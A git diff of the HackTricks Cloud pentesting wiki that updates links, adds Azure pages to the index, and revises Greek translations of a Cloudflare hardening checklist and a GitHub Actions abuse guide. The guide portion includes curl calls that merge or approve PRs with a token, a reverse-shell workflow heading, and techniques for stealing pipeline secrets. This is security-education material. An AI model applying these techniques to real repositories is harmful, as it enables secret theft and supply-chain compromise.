diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index c39a9cc91..e3e18e17d 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -3,8 +3,8 @@
# 👽 Welcome!
- [HackTricks Cloud](README.md)
-- [About the Author$$external:https://book.hacktricks.xyz/welcome/about-the-author$$]()
-- [HackTricks Values & faq$$external:https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq$$]()
+- [About the Author$$external:https://book.hacktricks.wiki/en/welcome/about-the-author.html$$]()
+- [HackTricks Values & faq$$external:https://book.hacktricks.wiki/en/welcome/hacktricks-values-and-faq.html$$]()
# 🏭 Pentesting CI/CD
@@ -408,12 +408,15 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)
- [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md)
- [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md)
- [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md)
@@ -442,9 +445,12 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -454,17 +460,20 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
- [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
+ - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
@@ -501,8 +510,8 @@
# 🛫 Pentesting Network Services
-- [HackTricks Pentesting Network$$external:https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network$$]()
-- [HackTricks Pentesting Services$$external:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh$$]()
+- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
+- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 9196778b6..cca684c50 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -6,25 +6,25 @@
-### Επισκόπηση
+### Overview
- [ ] Αποκτήστε μια αίσθηση του **πόσο** χρησιμοποιούνται οι υπηρεσίες του λογαριασμού
- [ ] Βρείτε επίσης το **zone ID** και το **account ID**
-### Αναλύσεις
+### Analytics
-- [ ] Στην **`Ασφάλεια`** ελέγξτε αν υπάρχει κάποιος **περιορισμός ρυθμού**
+- [ ] Στην **`Security`** ελέγξτε αν υπάρχει κάποιος **Rate limiting**
### DNS
-- [ ] Ελέγξτε **ενδιαφέροντα** (ευαίσθητα;) δεδομένα στα DNS **αρχεία**
-- [ ] Ελέγξτε για **υποτομείς** που θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες** μόνο με βάση το **όνομα** (όπως admin173865324.domin.com)
-- [ ] Ελέγξτε για ιστοσελίδες που **δεν είναι** **προξενημένες**
-- [ ] Ελέγξτε για **προξενημένες ιστοσελίδες** που μπορούν να **προσεγγιστούν απευθείας** μέσω CNAME ή διεύθυνσης IP
+- [ ] Ελέγξτε **ενδιαφέροντα** (ευαίσθητα;) δεδομένα στα DNS **records**
+- [ ] Ελέγξτε για **subdomains** που θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες** μόνο με βάση το **όνομα** (όπως admin173865324.domin.com)
+- [ ] Ελέγξτε για ιστοσελίδες που **δεν είναι** **proxied**
+- [ ] Ελέγξτε για **proxified web pages** που μπορούν να **προσεγγιστούν απευθείας** μέσω CNAME ή διεύθυνσης IP
- [ ] Ελέγξτε ότι το **DNSSEC** είναι **ενεργοποιημένο**
- [ ] Ελέγξτε ότι το **CNAME Flattening** είναι **χρησιμοποιούμενο** σε **όλα τα CNAMEs**
-- Αυτό μπορεί να είναι χρήσιμο για να **κρύψει τις ευπάθειες ανάληψης υποτομέων** και να βελτιώσει τους χρόνους φόρτωσης
-- [ ] Ελέγξτε ότι οι τομείς [**δεν είναι ευάλωτοι σε spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- Αυτό μπορεί να είναι χρήσιμο για να **κρύψει τις ευπάθειες κατάληψης subdomain** και να βελτιώσει τους χρόνους φόρτωσης
+- [ ] Ελέγξτε ότι οι τομείς [**δεν είναι ευάλωτοι σε spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Email**
@@ -36,91 +36,91 @@ TODO
### SSL/TLS
-#### **Επισκόπηση**
+#### **Overview**
-- [ ] Η **κρυπτογράφηση SSL/TLS** θα πρέπει να είναι **Πλήρης** ή **Πλήρης (Αυστηρή)**. Οποιαδήποτε άλλη θα στείλει **καθαρό κείμενο** σε κάποιο σημείο.
-- [ ] Ο **Συστήματος Συστάσεων SSL/TLS** θα πρέπει να είναι ενεργοποιημένος
+- [ ] Η **κρυπτογράφηση SSL/TLS** θα πρέπει να είναι **Full** ή **Full (Strict)**. Οποιαδήποτε άλλη θα στείλει **clear-text traffic** σε κάποιο σημείο.
+- [ ] Ο **SSL/TLS Recommender** θα πρέπει να είναι ενεργοποιημένος
-#### Πιστοποιητικά Edge
+#### Edge Certificates
-- [ ] **Πάντα Χρησιμοποιήστε HTTPS** θα πρέπει να είναι **ενεργοποιημένο**
+- [ ] **Always Use HTTPS** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] **HTTP Strict Transport Security (HSTS)** θα πρέπει να είναι **ενεργοποιημένο**
-- [ ] **Η Ελάχιστη Έκδοση TLS θα πρέπει να είναι 1.2**
+- [ ] **Η ελάχιστη έκδοση TLS θα πρέπει να είναι 1.2**
- [ ] **TLS 1.3 θα πρέπει να είναι ενεργοποιημένο**
-- [ ] **Αυτόματες Επαναγραφές HTTPS** θα πρέπει να είναι **ενεργοποιημένες**
-- [ ] **Παρακολούθηση Διαφάνειας Πιστοποιητικών** θα πρέπει να είναι **ενεργοποιημένη**
+- [ ] **Automatic HTTPS Rewrites** θα πρέπει να είναι **ενεργοποιημένο**
+- [ ] **Certificate Transparency Monitoring** θα πρέπει να είναι **ενεργοποιημένο**
-### **Ασφάλεια**
+### **Security**
-- [ ] Στην ενότητα **`WAF`** είναι ενδιαφέρον να ελέγξετε ότι οι **κανόνες τείχους προστασίας** και **περιορισμού ρυθμού χρησιμοποιούνται** για την αποτροπή καταχρήσεων.
+- [ ] Στην ενότητα **`WAF`** είναι ενδιαφέρον να ελέγξετε ότι οι **κανόνες Firewall** και **rate limiting χρησιμοποιούνται** για την πρόληψη καταχρήσεων.
- Η ενέργεια **`Bypass`** θα **απενεργοποιήσει τις δυνατότητες ασφάλειας του Cloudflare** για ένα αίτημα. Δεν θα πρέπει να χρησιμοποιείται.
- [ ] Στην ενότητα **`Page Shield`** συνιστάται να ελέγξετε ότι είναι **ενεργοποιημένο** αν χρησιμοποιείται κάποια σελίδα
- [ ] Στην ενότητα **`API Shield`** συνιστάται να ελέγξετε ότι είναι **ενεργοποιημένο** αν εκτίθεται κάποια API στο Cloudflare
- [ ] Στην ενότητα **`DDoS`** συνιστάται να ενεργοποιήσετε τις **προστασίες DDoS**
-- [ ] Στην ενότητα **`Ρυθμίσεις`**:
-- [ ] Ελέγξτε ότι το **`Επίπεδο Ασφάλειας`** είναι **μεσαίο** ή μεγαλύτερο
-- [ ] Ελέγξτε ότι το **`Challenge Passage`** είναι 1 ώρα το πολύ
-- [ ] Ελέγξτε ότι ο **`Έλεγχος Ακεραιότητας Περιηγητή`** είναι **ενεργοποιημένος**
-- [ ] Ελέγξτε ότι η **`Υποστήριξη Privacy Pass`** είναι **ενεργοποιημένη**
+- [ ] Στην ενότητα **`Settings`**:
+- [ ] Ελέγξτε ότι το **`Security Level`** είναι **medium** ή μεγαλύτερο
+- [ ] Ελέγξτε ότι το **`Challenge Passage`** είναι 1 ώρα το μέγιστο
+- [ ] Ελέγξτε ότι το **`Browser Integrity Check`** είναι **ενεργοποιημένο**
+- [ ] Ελέγξτε ότι η **`Privacy Pass Support`** είναι **ενεργοποιημένη**
-#### **Προστασία DDoS CloudFlare**
+#### **CloudFlare DDoS Protection**
-- Αν μπορείτε, ενεργοποιήστε τη **Λειτουργία Καταπολέμησης Ρομπότ** ή τη **Λειτουργία Υπερ Καταπολέμησης Ρομπότ**. Αν προστατεύετε κάποια API που προσπελάζεται προγραμματισμένα (από μια σελίδα JS front end για παράδειγμα). Μπορεί να μην μπορείτε να ενεργοποιήσετε αυτό χωρίς να σπάσετε αυτή την πρόσβαση.
-- Στο **WAF**: Μπορείτε να δημιουργήσετε **περιορισμούς ρυθμού κατά URL path** ή σε **επιβεβαιωμένα ρομπότ** (κανόνες περιορισμού ρυθμού), ή να **μπλοκάρετε την πρόσβαση** με βάση IP, Cookie, παραπομπή...). Έτσι μπορείτε να μπλοκάρετε αιτήματα που δεν προέρχονται από μια ιστοσελίδα ή δεν έχουν cookie.
-- Αν η επίθεση προέρχεται από ένα **επιβεβαιωμένο ρομπότ**, τουλάχιστον **προσθέστε έναν περιορισμό ρυθμού** στα ρομπότ.
-- Αν η επίθεση είναι σε ένα **συγκεκριμένο path**, ως μηχανισμός πρόληψης, προσθέστε έναν **περιορισμό ρυθμού** σε αυτό το path.
-- Μπορείτε επίσης να **λευκάνετε** διευθύνσεις IP, εύρη IP, χώρες ή ASN από τα **Εργαλεία** στο WAF.
-- Ελέγξτε αν οι **Διαχειριζόμενοι κανόνες** θα μπορούσαν επίσης να βοηθήσουν στην πρόληψη εκμεταλλεύσεων ευπαθειών.
-- Στην ενότητα **Εργαλεία** μπορείτε να **μπλοκάρετε ή να δώσετε μια πρόκληση σε συγκεκριμένες IPs** και **user agents.**
+- Αν μπορείτε, ενεργοποιήστε το **Bot Fight Mode** ή το **Super Bot Fight Mode**. Αν προστατεύετε κάποια API που προσπελάζεται προγραμματισμένα (από μια σελίδα JS front end για παράδειγμα). Μπορεί να μην μπορείτε να το ενεργοποιήσετε χωρίς να σπάσετε αυτή την πρόσβαση.
+- Στο **WAF**: Μπορείτε να δημιουργήσετε **rate limits κατά URL path** ή για **verified bots** (κανόνες rate limiting), ή να **μπλοκάρετε την πρόσβαση** με βάση IP, Cookie, referrer...). Έτσι μπορείτε να μπλοκάρετε αιτήματα που δεν προέρχονται από μια ιστοσελίδα ή δεν έχουν cookie.
+- Αν η επίθεση προέρχεται από έναν **verified bot**, τουλάχιστον **προσθέστε ένα rate limit** στους bots.
+- Αν η επίθεση είναι σε ένα **συγκεκριμένο path**, ως μηχανισμός πρόληψης, προσθέστε ένα **rate limit** σε αυτό το path.
+- Μπορείτε επίσης να **whitelist** διευθύνσεις IP, εύρη IP, χώρες ή ASNs από τα **Tools** στο WAF.
+- Ελέγξτε αν οι **Managed rules** θα μπορούσαν επίσης να βοηθήσουν στην πρόληψη εκμεταλλεύσεων ευπαθειών.
+- Στην ενότητα **Tools** μπορείτε να **μπλοκάρετε ή να δώσετε μια πρόκληση σε συγκεκριμένες IPs** και **user agents.**
- Στο DDoS μπορείτε να **παρακάμψετε κάποιους κανόνες για να τους κάνετε πιο περιοριστικούς**.
-- **Ρυθμίσεις**: Ρυθμίστε το **Επίπεδο Ασφάλειας** σε **Υψηλό** και σε **Υπό Επίθεση** αν είστε Υπό Επίθεση και ότι ο **Έλεγχος Ακεραιότητας Περιηγητή είναι ενεργοποιημένος**.
-- Στο Cloudflare Domains -> Αναλύσεις -> Ασφάλεια -> Ελέγξτε αν είναι ενεργοποιημένος ο **περιορισμός ρυθμού**
-- Στο Cloudflare Domains -> Ασφάλεια -> Συμβάντα -> Ελέγξτε για **ανιχνευμένα κακόβουλα Συμβάντα**
+- **Settings**: Ρυθμίστε το **Security Level** σε **High** και σε **Under Attack** αν είστε Under Attack και ότι το **Browser Integrity Check είναι ενεργοποιημένο**.
+- Στο Cloudflare Domains -> Analytics -> Security -> Ελέγξτε αν είναι ενεργοποιημένο το **rate limit**
+- Στο Cloudflare Domains -> Security -> Events -> Ελέγξτε για **ανιχνευμένα κακόβουλα Events**
-### Πρόσβαση
+### Access
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
-### Ταχύτητα
+### Speed
_Δεν μπόρεσα να βρω καμία επιλογή σχετική με την ασφάλεια_
-### Κρυφή μνήμη
+### Caching
-- [ ] Στην ενότητα **`Ρύθμιση`** σκεφτείτε να ενεργοποιήσετε το **Εργαλείο Σάρωσης CSAM**
+- [ ] Στην ενότητα **`Configuration`** σκεφτείτε να ενεργοποιήσετε το **CSAM Scanning Tool**
-### **Διαδρομές Εργατών**
+### **Workers Routes**
-_Θα έπρεπε ήδη να έχετε ελέγξει_ [_cloudflare workers_](./#workers)
+_Θα έπρεπε ήδη να έχετε ελέγξει_ [_cloudflare workers_](#workers)
-### Κανόνες
+### Rules
TODO
-### Δίκτυο
+### Network
- [ ] Αν το **`HTTP/2`** είναι **ενεργοποιημένο**, το **`HTTP/2 to Origin`** θα πρέπει να είναι **ενεργοποιημένο**
-- [ ] **`HTTP/3 (με QUIC)`** θα πρέπει να είναι **ενεργοποιημένο**
+- [ ] **`HTTP/3 (with QUIC)`** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] Αν η **ιδιωτικότητα** των **χρηστών** σας είναι σημαντική, βεβαιωθείτε ότι το **`Onion Routing`** είναι **ενεργοποιημένο**
-### **Κίνηση**
+### **Traffic**
TODO
-### Προσαρμοσμένες Σελίδες
+### Custom Pages
-- [ ] Είναι προαιρετικό να ρυθμίσετε προσαρμοσμένες σελίδες όταν προκληθεί ένα σφάλμα σχετικό με την ασφάλεια (όπως μπλοκάρισμα, περιορισμός ρυθμού ή είμαι σε λειτουργία επίθεσης)
+- [ ] Είναι προαιρετικό να ρυθμίσετε προσαρμοσμένες σελίδες όταν προκληθεί ένα σφάλμα σχετικό με την ασφάλεια (όπως μπλοκάρισμα, rate limiting ή είμαι σε κατάσταση επίθεσης)
-### Εφαρμογές
+### Apps
TODO
### Scrape Shield
-- [ ] Ελέγξτε ότι η **Απόκρυψη Διευθύνσεων Email** είναι **ενεργοποιημένη**
-- [ ] Ελέγξτε ότι οι **Εξαιρέσεις Server-side** είναι **ενεργοποιημένες**
+- [ ] Ελέγξτε ότι η **Email Address Obfuscation** είναι **ενεργοποιημένη**
+- [ ] Ελέγξτε ότι οι **Server-side Excludes** είναι **ενεργοποιημένες**
### **Zaraz**
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 7a293c609..2526b9c26 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -11,18 +11,18 @@
- Έχοντας **δικαιώματα** για τη δημιουργία της action
- Κατάχρηση **triggers** που σχετίζονται με **pull request**
- Κατάχρηση **άλλων τεχνικών εξωτερικής πρόσβασης**
-- **Pivoting** από ένα ήδη παραβιασμένο repo
+- **Pivoting** από ένα ήδη συμβιβασμένο repo
- Τέλος, μια ενότητα σχετικά με τις **τεχνικές μετα-εκμετάλλευσης για την κατάχρηση μιας action από μέσα** (λόγω των αναφερόμενων επιπτώσεων)
## Σύνοψη Επιπτώσεων
Για μια εισαγωγή σχετικά με [**Github Actions ελέγξτε τις βασικές πληροφορίες**](../basic-github-information.md#github-actions).
-Αν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** εντός ενός **repository**, μπορεί να είστε σε θέση να:
+Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** εντός ενός **repository**, μπορεί να είστε σε θέση να:
-- **Κλέψετε μυστικά** που είναι τοποθετημένα στην pipeline και **καταχραστείτε τα προνόμια της pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως το AWS και το GCP.
-- **Παραβιάσετε τις αναπτύξεις** και άλλα **artifacts**.
-- Αν η pipeline αναπτύσσει ή αποθηκεύει περιουσιακά στοιχεία, θα μπορούσατε να τροποποιήσετε το τελικό προϊόν, επιτρέποντας μια επίθεση στην αλυσίδα εφοδιασμού.
+- **Κλέψετε μυστικά** που είναι τοποθετημένα στην pipeline και **καταχραστείτε τα δικαιώματα της pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως το AWS και το GCP.
+- **Συμβιβάσετε τις αναπτύξεις** και άλλα **artifacts**.
+- Εάν η pipeline αναπτύσσει ή αποθηκεύει περιουσιακά στοιχεία, θα μπορούσατε να αλλάξετε το τελικό προϊόν, επιτρέποντας μια επίθεση στην αλυσίδα εφοδιασμού.
- **Εκτελέσετε κώδικα σε προσαρμοσμένους workers** για να καταχραστείτε την υπολογιστική ισχύ και να κάνετε pivot σε άλλα συστήματα.
- **Επικαλύψετε τον κώδικα του repository**, ανάλογα με τα δικαιώματα που σχετίζονται με το `GITHUB_TOKEN`.
@@ -56,7 +56,7 @@ https://api.github.com/repos///pulls//merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
-{{#tab name="Έγκριση PR" }}
+{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -67,7 +67,7 @@ https://api.github.com/repos///pulls//reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
-{{#tab name="Δημιουργία PR" }}
+{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **tokens χρηστών github μέσα σε περιβάλλοντα Github Actions ή στα μυστικά**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα δικαιώματα πάνω στο αποθετήριο και την οργάνωση.
+> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **tokens χρηστών github μέσα σε περιβάλλοντα Github Actions ή στα μυστικά**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια πάνω στο αποθετήριο και την οργάνωση.
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Λάβετε αντίστροφη θήκη με μυστικά
+Απόκτηση αντίστροφης θήκης με μυστικά
```yaml
name: revshell
on:
@@ -143,7 +143,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
> [!NOTE]
> Αυτή θα ήταν η πιο εύκολη μέθοδος για να συμβιβαστούν οι Github actions, καθώς αυτή η περίπτωση υποθέτει ότι έχετε πρόσβαση για **δημιουργία νέου αποθετηρίου στην οργάνωση**, ή έχετε **δικαιώματα εγγραφής σε ένα αποθετήριο**.
>
-> Εάν βρίσκεστε σε αυτό το σενάριο μπορείτε απλά να ελέγξετε τις [Τεχνικές Μετά την Εκμετάλλευση](./#post-exploitation-techniques-from-inside-an-action).
+> Εάν βρίσκεστε σε αυτό το σενάριο, μπορείτε απλά να ελέγξετε τις [Τεχνικές Μετά την Εκμετάλλευση](#post-exploitation-techniques-from-inside-an-action).
### Εκτέλεση από Δημιουργία Αποθετηρίου
@@ -179,18 +179,18 @@ branches:
> [!NOTE]
-> Καθώς ο **προεπιλεγμένος περιορισμός** ισχύει για **συνεργάτες πρώτης φοράς**, θα μπορούσατε να συμβάλετε **διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος** και στη συνέχεια να στείλετε **άλλα PR για να εκμεταλλευτείτε τα νέα σας δικαιώματα `pull_request`**.
+> Καθώς ο **προεπιλεγμένος περιορισμός** ισχύει για **συνεργάτες πρώτης φοράς**, θα μπορούσατε να συμβάλετε **διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος** και στη συνέχεια να στείλετε **άλλα PR για να εκμεταλλευτείτε τα νέα σας προνόμια `pull_request`**.
>
> **Το δοκίμασα και δεν λειτουργεί**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσετε έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο έργο και να διαγράψετε τον λογαριασμό του.~~
-Επιπλέον, από προεπιλογή **αποτρέπει τα δικαιώματα εγγραφής** και **την πρόσβαση σε μυστικά** στο στοχευμένο αποθετήριο όπως αναφέρεται στα [**έγγραφα**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Επιπλέον, από προεπιλογή **αποτρέπει τις δικαιώματα εγγραφής** και **πρόσβαση σε μυστικά** στο στοχευμένο αποθετήριο όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> Με την εξαίρεση του `GITHUB_TOKEN`, **τα μυστικά δεν μεταφέρονται στον εκτελεστή** όταν μια ροή εργασίας ενεργοποιείται από ένα **forked** αποθετήριο. Το **`GITHUB_TOKEN` έχει δικαιώματα μόνο για ανάγνωση** σε pull requests **από forked αποθετήρια**.
+> Με την εξαίρεση του `GITHUB_TOKEN`, **τα μυστικά δεν μεταφέρονται στον εκτελεστή** όταν μια ροή εργασίας ενεργοποιείται από ένα **forked** αποθετήριο. Το **`GITHUB_TOKEN` έχει δικαιώματα μόνο ανάγνωσης** σε pull requests **από forked αποθετήρια**.
-Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό της Github Action προκειμένου να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετες ενέργειες. Ωστόσο, δεν θα είναι σε θέση να κλέψει μυστικά ή να αντικαταστήσει το repo λόγω των αναφερόμενων περιορισμών.
+Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό της Github Action προκειμένου να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετες ενέργειες. Ωστόσο, δεν θα είναι σε θέση να κλέψει μυστικά ή να αντικαταστήσει το αποθετήριο λόγω των αναφερόμενων περιορισμών.
> [!CAUTION]
-> **Ναι, αν ο επιτιθέμενος αλλάξει στο PR την github action που θα ενεργοποιηθεί, η Github Action του θα είναι αυτή που θα χρησιμοποιηθεί και όχι αυτή από το αρχικό repo!**
+> **Ναι, αν ο επιτιθέμενος αλλάξει στο PR την github action που θα ενεργοποιηθεί, η Github Action του θα είναι αυτή που θα χρησιμοποιηθεί και όχι αυτή από το αρχικό αποθετήριο!**
Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμη και αν δεν υπάρχουν μυστικά ή δικαιώματα εγγραφής στο `GITHUB_TOKEN`, ένας επιτιθέμενος θα μπορούσε για παράδειγμα να **ανεβάσει κακόβουλα αρχεία**.
@@ -198,10 +198,10 @@ branches:
Ο ενεργοποιητής ροής εργασίας **`pull_request_target`** έχει **δικαιώματα εγγραφής** στο στοχευμένο αποθετήριο και **πρόσβαση σε μυστικά** (και δεν ζητά άδεια).
-Σημειώστε ότι ο ενεργοποιητής ροής εργασίας **`pull_request_target`** **εκτελείται στο βασικό πλαίσιο** και όχι σε αυτό που παρέχεται από το PR (για **να μην εκτελούνται μη αξιόπιστοι κώδικες**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**ελέγξτε τα έγγραφα**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Σημειώστε ότι ο ενεργοποιητής ροής εργασίας **`pull_request_target`** **εκτελείται στο βασικό πλαίσιο** και όχι σε αυτό που παρέχεται από το PR (για **να μην εκτελείται μη αξιόπιστος κώδικας**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**ελέγξτε τα docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη επικίνδυνη χρήση, ελέγξτε αυτήν την [**ανάρτηση στο blog του github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-Μπορεί να φαίνεται ότι επειδή η **εκτελούμενη ροή εργασίας** είναι αυτή που ορίζεται στη **βάση** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιείτε **`pull_request_target`**, αλλά υπάρχουν **μερικές περιπτώσεις όπου δεν είναι**.
+Μπορεί να φαίνεται ότι επειδή η **εκτελούμενη ροή εργασίας** είναι αυτή που ορίζεται στο **βασικό** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιείτε **`pull_request_target`**, αλλά υπάρχουν **μερικές περιπτώσεις όπου δεν είναι**.
Και αυτή θα έχει **πρόσβαση σε μυστικά**.
@@ -219,8 +219,8 @@ types:
```
Επιπλέον, σύμφωνα με τα έγγραφα: Η ροή εργασίας που ξεκινά από το γεγονός `workflow_run` μπορεί να **πρόσβαση σε μυστικά και να γράψει tokens, ακόμη και αν η προηγούμενη ροή εργασίας δεν ήταν**.
-Αυτή η ροή εργασίας θα μπορούσε να επιτεθεί αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **προκληθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**βρεθούν σε αυτό το blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αποτελείται από τη ροή εργασίας που προκαλείται από το **`workflow_run`** που κατεβάζει τον κώδικα των επιτιθέμενων: `${{ github.event.pull_request.head.sha }}`\
